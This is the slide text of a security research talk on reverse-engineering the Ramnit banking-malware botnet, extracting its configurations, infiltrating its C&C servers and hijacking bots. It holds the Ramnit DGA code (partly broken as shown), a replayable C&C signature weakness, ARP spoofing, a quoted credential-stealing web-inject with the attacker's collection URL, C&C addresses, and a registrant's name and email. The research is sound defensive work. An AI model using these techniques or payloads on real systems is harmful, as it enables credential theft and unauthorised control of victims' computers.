
Hijacking a Botnet



What are botnets

Threat Actor C&C Server

Infected 
computers



• Understand how botnets work

• Find common steps in researching botnets

• Infiltrate a botnet

• Take control over bots

Motivation



• Known since 2010, but still active

• Uses DGA to resolve its C&C servers

• More than 100,000 active bots

• Capable to:
– steal banking and other credentials 

– load additional payloads to infected computers

– control infected computers via VNC

Choosing a target: Ramnit



What to start with?

https://www.cisecurity.org/blog/top-10-malware-november-2017/
https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows



Malware configuration

DGA(seed, n)C&C server lookup



DGA – Domain Generation Algorithm

Seed: 
0x39563E73

Date

F(date, seed, n)

n

siavgwcuasxsmwx.com

wgurarmglxy.com

swnglorjr.comn=1

n=2

n=3

…



DGA – Domain Generation Algorithm

def prng(seed):
seed = int(seed) & 0xFFFFFFFF
return 0xFFFFFFFF & (16807 * (seed % 0x1F31D) - 2836 * (seed / 0x1F31D))

def dga(seed):
seed = prng(seed)
domain_length = seed % 12 + 8
for i in range(domain_length):

seed = prng(seed)
domain += chr(seed % 25 + ord('a'))

return domain



Fake bot issue: unable to find C&C server

domnewvetlike.com

swnglorjr.com

siavgwcuasxsmwx.com

wgurarmglxy.com

yayufjgssrmtbbeo.com

xvllabfngguirtninr.com

Static domains:

DGA domains:

Fake bot

What’s wrong?
DGA



• Malware operators may switch between groups of bots with 
different DGA seeds that we don’t know.

• Malware operators may temporary turn off the C&C servers.

Fake bot issue: unable to find C&C server



No active C&C servers

How to obtain C&C traffic without 
communicating to a real C&C server?



Obtaining communication using RiskIQ and VT



Obtaining communication using RiskIQ and VT



Obtaining communication using RiskIQ and VT



• A lot of reverse engineering work

Behind the scenes



Ramnit communication protocol

Message Header
Magic word

00 FF xx
Message Length

xx xx xx

Message data
Code

XX Chunk 1
Message buffer

…Chunk 2 Chunk N

E2 Register bot
51 Verify server
10 Upload screenshot
15 Upload cookies
F0 Get commands

…



E2 Register bot
51 Verify server
10 Upload screenshot
15 Upload cookies
F0 Get commands

…

Ramnit communication protocol

Message Header
Magic word

00 FF xx
Message Length

xx xx xx

Message data
Code

XX Chunk 1
Message buffer

…Chunk 2 Chunk N

Chunk type DWORD
TYPE

01
Chunk data (4 bytes)
xx xx xx xx

Chunk type QWORD
TYPE

02
Chunk data (8 bytes)

xx xx xx xx xx xx xx xx

Chunk type ARRAY
TYPE

00
Chunk length(4 bytes)
N

Chunk data (N bytes)
Data encrypted with RC4



Ramnit communication

00 FF 4B 00 00 00 E2

0100 FF 00 00 00 01

0100 FF 00 00 00 51
BOT C&C

Server

E2 REGISTER BOT

01 OK

51 VERIFY HOST

51 SIGNATURE ARRAY(80)

00 20 00 00 00 B6 51 FA 31 …
MSG code

Chunk type

Packet length

Chunk length
Chunk data

8600 FF 00 00 00 0051 80 00 00 34 7D 96 9E …00



Ramnit communication

BOT C&C
Server

MSG code
Chunk type

Packet length

Chunk length
Chunk data

8600 FF 00 00 00 0051 80 00 00 34 7D 96 9E …00



Ramnit communication

BOT C&C
Server

MSG code
Chunk type

Packet length

Chunk length
Chunk data

8600 FF 00 00 00 0051 80 00 00 00 34 7D 96 9E …



Ramnit communication

BOT C&C
Server

MSG code
Chunk type

Packet length

Chunk length
Chunk data

8600 FF 00 00 00 0051 80 00 00 00

34 7D 96 9E …

RC4 decrypt (RC4 key)

RSA encrypt (Pub Key)

ANS1 SEQUENCE: 
OBJECT IDENTIFIER 1.3.14.3.2.26 sha1 (OIW)
OCTET STRING(20 bytes) 
D209449018CD268C29B20D8EC45CB6B360A5BCFC

SHA1(194.87.146.72)

Malware
configuration



Hijacking protection

Fake C&C server
IP: 33.170.22.50

RSA PrivKeyA
SignatureA

C&C server
IP: 194.87.146.72

RSA PrivKeyB
SignatureB

Bot

RSA PubKeyB

SignatureB = RSA(PrivKeyB, SHA1(194.87.146.72))

RSA(PubKeyB, SignatureA) SHA1(33.170.22.50) ≠ 

RSA(PubKeyB, SignatureB) SHA1(194.87.146.72) = 

SignatureA = RSA(PrivKeyA, SHA1(33.170.22.50))



• Good: 
– Only a C&C server which knows RSA Private Key can issue a valid signature for 

its IP address.

• Bad: 
– RSA signature has only one argument – IP address of a C&C server. A valid RSA 

signature can be reused.

Ramnit authentication protocol weakness

≠ 



Ramnit authentication protocol weakness

Fake C&C server
IP: 33.170.22.50

C&C server
IP: 194.87.146.72

RSA PrivKey
Signature

Bot

RSA PubKey

RSA(PubKey, Signature) SHA1(194.87.146.72) = 

Signature

Collect Signature



Ramnit authentication protocol weakness

Bot

RSA PubKey

Fake C&C server
IP: 33.170.22.50

Signature



Ramnit authentication protocol weakness

Bot

RSA PubKey

RSA(PubKey, Signature) SHA1(194.87.146.72) = Fake C&C server
IP: 194.87.146.72

Signature



Acquiring the IP address of a real C&C server

194.87.146.71 194.87.146.72

C&C server

194.87.146.73 194.87.146.74

VPS hosting



Acquiring the IP address of a real C&C server

194.87.146.71 194.87.146.73 194.87.146.74

VPS hosting

194.87.146.75 194.87.146.100 194.87.146.151

194.87.146.72



Acquiring the IP address of a real C&C server

194.87.146.71 194.87.146.73 194.87.146.74

VPS hosting

194.87.146.100

194.87.146.72

gateway

ARP spoofing



• To control the botnet or to see all C&C servers we need to get 
all possible malware configurations.

• There are a lot of malware configurations with different DGA 
seeds.

Botnet or its small part?

Bot 1

DGA Seed:
0x39563E73  

DGA domains for 
seed 0x39563E73

C&C Server 1

Bot 2

DGA Seed: 
0xFCFFD9E9  

DGA domains for 
seed 0xFCFFD9E9

C&C Server 2



Acquiring more samples

Mutex name depends on 
VolumeSerialNumber



Acquiring more samples

We found more than 13,000 malicious 
samples!



Acquiring more samples

Mutexes Created
{3E65BD66-26C0-123E-2E75-7598A15ACF8F}

Mutexes Created
{287668DE-73B1-A356-2C96-09D234F50D6F}

Mutexes Created
{3532CC71-0F73-504A-CC37-6735913B5B3E}

Different mutex names in other sandboxes:



Semi-automatic configuration extraction



Semi-automatic configuration extraction

Python>extract_config()

Campaign: "demetra"
Domains Count: 50
DGA Seed: 0x36A9B78F
RC4 Key: "fenquyidh"
RSA Key: "308189028180878bf02819a301c1a06cb351b52f575d1c1f0cb4353f450…" 
Static Domains: "yyygshsshssjhsiheush.com"
Port: 443



Problem: packed samples

Packed sample Unpacked sample

The configuration extraction
script can’t be used

with packed samples



• Most of samples come packed

• We need to unpack them first

• A lot of manual work

• Impossible to process big number of samples

Semi-automatic configuration extraction



IOC 
Extraction 
Laboratory



IOC extraction laboratory

Malware

Packing +
Encryption

Sample 1

Sample 2

• One sample can be packed with 
different methods

• There are a thousands of public 
and private packers

• Configuration can’t be extracted 
statically from packed samples



IOC extraction laboratory

Sandbox

Process 3

Process 2

Dump 1 Dump 2 Dump 3

Process 1

Packed 
Sample



IOC extraction laboratory

Dump 1 Dump 2 Dump 3

Sandbox

Process 3

Process 2
Process 1

Packed 
Sample



IOC extraction laboratory

Dump 1 Dump 2 Dump 3

The dumps may contain 
unpacked code and data

Ramnit
Extractor

Lokibot
Extractor

Sality
Extractor



IOC extraction laboratory

https://github.com/cuckoosandbox/cuckoo
https://github.com/ctxis/CAPE



IOC extraction laboratory

rule Ramnit_T
{

strings:
$str1 = "45Bn99gT"
$str2_enc = { E1 BF 50 FC FD CD }

condition:
uint16(0) == 0x5A4D and all of ($*)

}

yara offsets = [
{

"config_type": "demetra",
"num_domains": 0,
"dga_seed": 4,
"port": 24,
"key_len": 28,
"xor_key": 754,
"static_domains": 32,
"botnet_name": 348,
"rsa_key": 784,
"rc4_key": 694,
"md5_magic": 1160,
"md5_magic_value": b'15Bn99gT',

},
# …

extractor



IOC extraction laboratory



IOC extraction laboratory



IOC extraction laboratory



IOC extraction laboratory



IOC extraction laboratory

MD5 hash of 
analyzed sample

Configuration 
type

Malware family



IOC extraction laboratory



Adjusting configuration extractor

Configuration 
extraction failed

Create new Yara rules 
and extractors



Adjusting configuration extractor

Re-emulate



Malware bundles



Malware bundles



Malware bundles

Ramnit Phorpiex
Ramnit

Sality Ramnit Sality



Malware bundles

Ramnit

Sality

Packing +
Encryption

Malware 
bundle



Malware bundles



Setting up a feed of malicious samples

Configurations
database

Emulation
Configuration extraction

VT API search
by behavioral signatures



• Ramnit samples processed: more than 50,000

• Configuration variants: 203

• Campaigns: 116

• DGA seeds: 97

• DGA + static domains: 6464 + 194

• Configuration types: 7

• RSA public keys: 9

• RC4 keys: 3

IOC extraction laboratory: results



Classifying malicious samples

Ramnit

RC4: “fB1oN5frGqf” RC4: “fenquyidh” RC4: “black” No encryption

1 RSA key 5 RSA Keys 3 RSA Keys No C&C verification

23.04_443
28
27
25
24
23
…

demetra
italian
nclient
zero
client
domain
…

ALL
klin
psy
nasa
fr
8404807
…

ynet
ynet2-9
UK
DE
UK2
allsup
…



Classifying malicious samples

Ramnit

RC4: “black” No encryption

No C&C verification

ynet
ynet2-9
UK
DE
UK2
allsup
…

Wow!
Can be controlled by anyone!



C&C domains

Ramnit

RC4: “black” No encryption

No C&C verification

ynet
ynet2-9
UK
DE
UK2
allsup
…

redor-moffies.com

verfdaserer.com

gerdakourepack.com

poopthree.com

ytioghfdghvcfgbgvdf.com

awecerybtuitbyatr.com

libdnsmasq.com

supnewdmn.com



C&C domains

Ramnit

RC4: “black” No encryption

No C&C verification

ynet
ynet2-9
UK
DE
UK2
allsup
…

redor-moffies.com

verfdaserer.com

gerdakourepack.com

poopthree.com

ytioghfdghvcfgbgvdf.com

awecerybtuitbyatr.com

libdnsmasq.com

supnewdmn.com

Domain Name: SUPNEWDMN.COM

Expiration Date: 2020-02-13T21:00:00Z
Registrant Name: Denis Shlyapovich
Registrant City: Saint-Petersburg
Registrant Email: denis.shlyapovich@yandex.ru



C&C domains

Bundle



Infiltrating
the botnet



C&C Server

Infected 
computers

???

Infiltrating the botnet

- Commands
- Payloads
- Targets
- Additional 

data

Fake bot



• Collecting valid RSA signatures for different IP addresses
– Signatures for 42 IP addresses and for 5 different RSA public keys have been 

collected

Infiltrating the botnet

RC4 decrypt (RC4 key)

RSA encrypt (Pub Key)

ANS1 SEQUENCE: 
OBJECT IDENTIFIER 1.3.14.3.2.26 sha1 (OIW)
OCTET STRING(20 bytes) 
D209449018CD268C29B20D8EC45CB6B360A5BCFC



• Accessing botnet prevalence

Infiltrating the botnet

MD5 of a computer unique identifier

Bot ID (assigned by C&C server)



• Accessing botnet prevalence

Infiltrating the botnet



• C&C IS

Infiltrating the botnet

C&C Server 1

Fake bot

C&C Server 2

Hidden in the Dark Net

Backend 
Server



• C&C IS

Infiltrating the botnet

Hidden in the Dark Net

Backend 
Server



• Getting commands and download additional payloads

Infiltrating the botnet



• Getting commands and download additional payloads
– “getexec”

– “screen”

– “cookies”

– “kos”

Infiltrating the botnet



https://login.yahoo.co.jp/config/login

Web-injects

set_url https://login.yahoo.co.jp/config/logi* GP

data_before
</body>
data_end

data_inject
<script 
src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></scri
pt>
<script type="text/javascript">

var INJ = {
home: "https://ijoljjk.adygeya.su/uadmin/gates/log.php",
bid: "<%IDBOT%>",
link: "yahoo.jp",
form1 : '<div class="scum" id="cc_view" style="display: ">\

<form method="post" name="" onsubmit="return false" class="f1">\



• Getting web-injects (and targets)

Infiltrating the botnet



3 groups of C&C servers (with different RC4 keys) probably controlled 
by 3 different groups of cybercriminals:
• Group 1 (European): 

– Uses the most recent version of malware
– DGA with “.click”, “.bid”, “.eu” TLDs
– Regional IP filtering 

• Group 2 (Demetra): 
– Uses Russian and Ukrainian VPS hostings that doesn’t require identity verification 
– Strong evidence that threat actors are Russian-speaking
– Uses malware version from 2015 (probably patched binary)

• Group 3 (Black): 
– Last time it was active the only activity was loading Ngioweb proxy malware

Infiltrating the botnet: summary



Hijacking
the botnet



Hijacking the botnet

C&C Server

Infected 
computers

Fake
C&C Server



Hijacking the botnet

C&C Server
Fake

C&C Server



• Sinkholing domains

Hijacking the botnet

Ramnit

RC4: “fenquyidh”

RSA key 1

Seed: 0xDC485593 Seed: 0x6AE20C4ESeed: 0xE706B455

RC4: “fB1oN5frGqf” RC4: “black”



• Sinkholing domains

Hijacking the botnet

Seed: 0xDC485593 Seed: 0x6AE20C4ESeed: 0xE706B455



• Sinkholing domains

Hijacking the botnet

Seed: 0xDC485593 Seed: 0x6AE20C4ESeed: 0xE706B455

xrgnpewrs.com

pwwvptomqkwta.com

ntnipngh.com

kfaohmfcv.com

nyaxpnexje.com

…

lfgeclrinrnnylfct.com

vaxejxpqvlhtoxabh.com

bnebnapirwxcvohr.com

wvyyphukthbgqlmgycr.c

hpyrftyerrrhuu.com

…

fvehdjinvntdjofr.com

mtxxqsflbe.com

dwquaeggxlfpe.com

mbpirkmqwppqbxbdpvq.c

dnvrrhinopwav.com

…



• Sinkholing domains

Hijacking the botnet

Seed: 0xDC485593 Seed: 0x6AE20C4ESeed: 0xE706B455

pwwvptomqkwta.com

ntnipngh.com

kfaohmfcv.com

nyaxpnexje.com

…

lfgeclrinrnnylfct.com

vaxejxpqvlhtoxabh.com

wvyyphukthbgqlmgycr.c

…

dwquaeggxlfpe.com

mbpirkmqwppqbxbdpvq.c

dnvrrhinopwav.com

…



• Sinkholing domains

Hijacking the botnet

Seed: 0xDC485593 Seed: 0x6AE20C4ESeed: 0xE706B455

pwwvptomqkwta.com

ntnipngh.com

kfaohmfcv.com

nyaxpnexje.com

…

lfgeclrinrnnylfct.com

vaxejxpqvlhtoxabh.com

wvyyphukthbgqlmgycr.c

…

dwquaeggxlfpe.com

mbpirkmqwppqbxbdpvq.c

dnvrrhinopwav.com

…



• Sinkholing domains

Hijacking the botnet

Seed: 0xDC485593 Seed: 0x6AE20C4ESeed: 0xE706B455

pwwvptomqkwta.com

dwquaeggxlfpe.com

Fake
C&C Server

lfgeclrinrnnylfct.com



• Access botnet prevalence if currently there are no active C&C 
servers

• Getting victims’ IP addresses

Hijacking the botnet



Hijacking the botnet

Ramnit

RC4: “black” No encryption

No C&C verification

ynet
ynet2-9
UK
DE
UK2
allsup
…



0

5000

10000

15000

20000

25000

30000

35000

4531

14648

33889

Botnet capacity (predicted)

More than 100,000 bots can be 
controlled without C&C server 

verification



Hijacking the botnet: number of bots

0

2000

4000

6000

8000

10000

12000

14000

Windows
2000

Windows XP
x64

Windows 8 Windows
Vista

Windows XP Windows 7

6 23 52 177

3033

12575



Hijacking the botnet: bots survival over time

0

1000

2000

3000

4000

5000

6000

7000

8000

9000

10000
10000

6259

4690
3925

3384
2655

933



• Almost 40% of the botnet are newly infected computers

• Most of infected computers runs Windows 7

• Windows XP is still alive!

• Windows 10 is not affected by old Ramnit versions

• Don’t use outdated OS!

Conclusion



Taking control over the bots: Demo

Ramnit

RC4: “fenquyidh”

RSA Key 86547A45

domain-5

185.61.148.125

109.248.59.111

5.188.231.109

31.148.99.237

194.58.90.98

…

Virtual Machine

Ramnit Bot

31.148.99.237
Sig(31.148.99.237)
RC4: “fenquyidh”

Local fake C&C server + VM

domain5newstudiostart.com

/etc/hosts:
31.148.99.237     domain5newstudiostart.com

Ramnit sample MD5: 
0c021852ad863a40486e7e9c2ae884be 



DEMO



Thank you


